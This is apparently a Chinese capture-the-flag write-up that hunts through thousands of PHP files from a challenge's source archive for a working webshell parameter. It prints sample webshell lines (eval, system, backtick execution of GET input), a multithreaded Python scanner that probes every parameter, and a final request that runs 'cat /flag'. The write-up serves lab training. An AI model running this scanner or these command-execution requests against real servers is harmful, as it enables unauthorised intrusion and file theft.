知识点

  • python脚本编写能力

启动靶机

打开题目,页面上提示了源码在www.tar.gz
image.png

下载源码,打开是几千个php文件,里面包含很多shell,不过很多shell都没用,形如:

  1. $_GET['ganVMUq3d'] = ' ';
  2. eval($_GET['ganVMUq3d'] ?? ' ');
  3. $_GET['jVMcNhK_F'] = ' ';
  4. system($_GET['jVMcNhK_F'] ?? ' ');
  5. $_GET['cXjHClMPs'] = ' ';
  6. echo `{$_GET['cXjHClMPs']}`;

猜测这几千个php文件中肯定含有可以使用的shell,所以遍历文件查找未被置空入口

  1. import os
  2. import requests
  3. import re
  4. import threading
  5. import time
  6. print('开始时间: '+ time.asctime( time.localtime(time.time()) ))
  7. s1=threading.Semaphore(100) #这儿设置最大的线程数
  8. filePath = r"/Users/lmc/Downloads/src/"
  9. os.chdir(filePath) #改变当前的路径
  10. requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接
  11. files = os.listdir(filePath)
  12. session = requests.Session()
  13. session.keep_alive = False # 设置连接活跃状态为False
  14. def get_content(file):
  15. s1.acquire()
  16. print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) ))
  17. with open(file,encoding='utf-8') as f: #打开php文件,提取所有的$_GET和$_POST的参数
  18. gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
  19. posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
  20. data = {} #所有的$_POST
  21. params = {} #所有的$_GET
  22. for m in gets:
  23. params[m] = "echo 'xxxxxx';"
  24. for n in posts:
  25. data[n] = "echo 'xxxxxx';"
  26. url = 'http://10.211.55.3/src/'+file
  27. req = session.post(url, data=data, params=params) #一次性请求所有的GET和POST
  28. req.close() # 关闭请求 释放内存
  29. req.encoding = 'utf-8'
  30. content = req.text
  31. #print(content)
  32. if "xxxxxx" in content: #如果发现有可以利用的参数,继续筛选出具体的参数
  33. flag = 0
  34. for a in gets:
  35. req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
  36. content = req.text
  37. req.close() # 关闭请求 释放内存
  38. if "xxxxxx" in content:
  39. flag = 1
  40. break
  41. if flag != 1:
  42. for b in posts:
  43. req = session.post(url, data={b:"echo 'xxxxxx';"})
  44. content = req.text
  45. req.close() # 关闭请求 释放内存
  46. if "xxxxxx" in content:
  47. break
  48. if flag == 1: #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
  49. param = a
  50. else:
  51. param = b
  52. print('找到了利用文件: '+file+" and 找到了利用的参数:%s" %param)
  53. print('结束时间: ' + time.asctime(time.localtime(time.time())))
  54. s1.release()
  55. for i in files: #加入多线程
  56. t = threading.Thread(target=get_content, args=(i,))
  57. t.start()

找到文件:
image.png
访问:

  1. http://b4c706f4-41a5-43f9-a360-177a8526632f.node4.buuoj.cn:81/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag

得到flag:
image.png